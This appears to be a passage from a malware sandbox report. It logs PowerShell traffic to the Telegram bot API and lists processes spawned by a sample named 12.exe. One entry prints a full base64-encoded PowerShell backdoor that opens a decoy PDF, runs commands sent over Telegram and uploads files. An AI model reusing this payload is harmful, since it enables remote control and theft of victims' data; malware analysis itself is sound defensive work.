2025-01-14 09:06:06 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:06:08 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:06:08 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:06:08 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	64990	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:06:14 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:06:19 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:06:19 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:06:19 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	64991	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:06:20 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:06:20 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:06:20 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:06:20 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	64992	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:06:30 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:06:35 UTC	344	IN	HTTP/1.1 409 Conflict Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:06:34 GMT Content-Type: application/json Content-Length: 143 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:06:35 UTC	143	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6e 66 6c 69 63 74 3a 20 74 65 72 6d 69 6e 61 74 65 64 20 62 79 20 6f 74 68 65 72 20 67 65 74 55 70 64 61 74 65 73 20 72 65 71 75 65 73 74 3b 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 20 6f 6e 65 20 62 6f 74 20 69 6e 73 74 61 6e 63 65 20 69 73 20 72 75 6e 6e 69 6e 67 22 7d Data Ascii: {"ok":false,"error_code":409,"description":"Conflict: terminated by other getUpdates request; make sure that only one bot instance is running"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	64993	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:06:40 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:06:40 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:06:40 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:06:40 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	64994	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:06:43 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:06:43 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:06:43 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:06:43 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	64995	149.154.167.220	443	3552	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 09:06:46 UTC	214	OUT	GET /bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: api.telegram.org
2025-01-14 09:06:46 UTC	387	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 14 Jan 2025 09:06:46 GMT Content-Type: application/json Content-Length: 23 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-14 09:06:46 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 5b 5d 7d Data Ascii: {"ok":true,"result":[]}

Target ID:	0
Start time:	04:03:39
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\12.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\12.exe"
Imagebase:	0x7ff73a3f0000
File size:	232'448 bytes
MD5 hash:	90F2CA0A38D6E5416EE2F6BE6326521D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	04:03:40
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQBSAEkAIAA+ACAAJABuAHUAbABsAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQARgBpAGwAZQBQAGEAdABoAA0ACgAgACAAIAAgACkADQAKACAAIAAgACAAQQBkAGQALQB0AHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAA0ACgAgACAAIAAgACQARgBpAGUAbABkAE4AYQBtAGUAIAA9ACAAJwBkAG8AYwB1AG0AZQBuAHQAJwANAAoAIAAgACAAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbABpAGUAbgB0AEgAYQBuAGQAbABlAHIADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAEgAdAB0AHAAYwBsAGkAZQBuAHQAIAAkAGgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgANAAoADQAKACAAIAAgACAAJABGAGkAbABlAFMAdAByAGUAYQBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAFMAdAByAGUAYQBtAF0AOgA6AG4AZQB3ACgAJABGAGkAbABlAFAAYQB0AGgALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoATwBwAGUAbgApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuAEgAZQBhAGQAZQByAFYAYQBsAHUAZQBdADoAOgBuAGUAdwAoACcAZgBvAHIAbQAtAGQAYQB0AGEAJwApAA0ACgAgACAAIAAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgAuAE4AYQBtAGUAIAA9ACAAJABGAGkAZQBsAGQATgBhAG0AZQANAAoAIAAgACAAIAAkAEYAaQBsAGUASABlAGEAZABlAHIALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAtAGwAZQBhAGYAKQANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4AUwB0AHIAZQBhAG0AQwBvAG4AdABlAG4AdABdADoAOgBuAGUAdwAoACQARgBpAGwAZQBTAHQAcgBlAGEAbQApAA0ACgAgACAAIAAgACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0AC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuACAAPQAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAuAEgAZQBhAGQAZQByAHMALgBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFcAZQBiAC4ATQBpAG0AZQBNAGEAcABwAGkAbgBnAF0AOgA6AEcAZQB0AE0AaQBtAGUATQBhAHAAcABpAG4AZwAoACQARgBpAGwAZQBQAGEAdABoACkAIAANAAoAIAAgACAAIAANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAE0AdQBsAHQAaQBwAGEAcgB0AEYAbwByAG0ARABhAHQAYQBDAG8AbgB0AGUAbgB0AF0AOgA6AG4AZQB3ACgAKQANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQALgBBAGQAZAAoACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0AC4AUABvAHMAdABBAHMAeQBuAGMAKAAiACQAVQBSAEwALwBzAGUAbgBkAEQAbwBjAHUAbQBlAG4AdAA/AGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AIgAsACAAJABNAHUAbAB0AGkAcABhAHIAdABDAG8AbgB0AGUAbgB0ACkAIAA+ACAAJABuAHUAbABsAA0ACgB9AA0ACgANAAoAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsADQAKACAAIAAgACAAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBVAHIAaQAgACgAJABVAFIATAAgACsAJwAvAGcAZQB0AFUAcABkAGEAdABlAHMAPwBvAGYAZgBzAGUAdAA9ACcAIAArACAAKAAkAGwAYQBzAHQASQBEACAAKwAgADEAKQApACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAYwBhAHQAYwBoACAAewANAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgACQAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAMQAwACkAIAANAAoAIAAgACAAIAAgACAAIAAgAGMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAB9AA0ACgAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUALgByAGUAcwB1AGwAdAAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAB1AHAAZABhAHQAZQBpAGQAIAA9ACAAJABfAC4AdQBwAGQAYQB0AGUAXwBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGYAcgBvAG0AIAA9ACAAJABfAC4AbQBlAHMAcwBhAGcAZQAuAGYAcgBvAG0ALgBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAXwAuAG0AZQBzAHMAYQBnAGUALgB0AGUAeAB0ACkAKQANAAoADQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADYAKQAgAC0AZQBxACAAIgAvAHMAbABlAGUAcAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIABbAGkAbgB0AF0AJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADQAKQAgAC0AZQBxACAAIgAvAGMAbQBkACIAKQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA1ACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AQgBvAHQAQwBtAGQAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAGMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADkAKQAgAC0AZQBxACAAIgAvAGQAbwB3AG4AbABvAGEAZAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAxADAAKQAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG0AZAAgAD0AIAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEALAAgADUAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABpAGQAZQBuAHQAaQBmAGkAZQByACAALQBlAHEAIAAkAGMAbQBkACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAC0AYwBvAG0AbQBhAG4AZAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUwBMAEUARQBQACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAJAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AYQB4AGkAbQB1AG0AIAAxADAAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAHMAbABlAGUAcABUAGkAbQBlAA0ACgB9AA=='"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	04:03:40
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:03:41
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\file.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	04:03:42
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
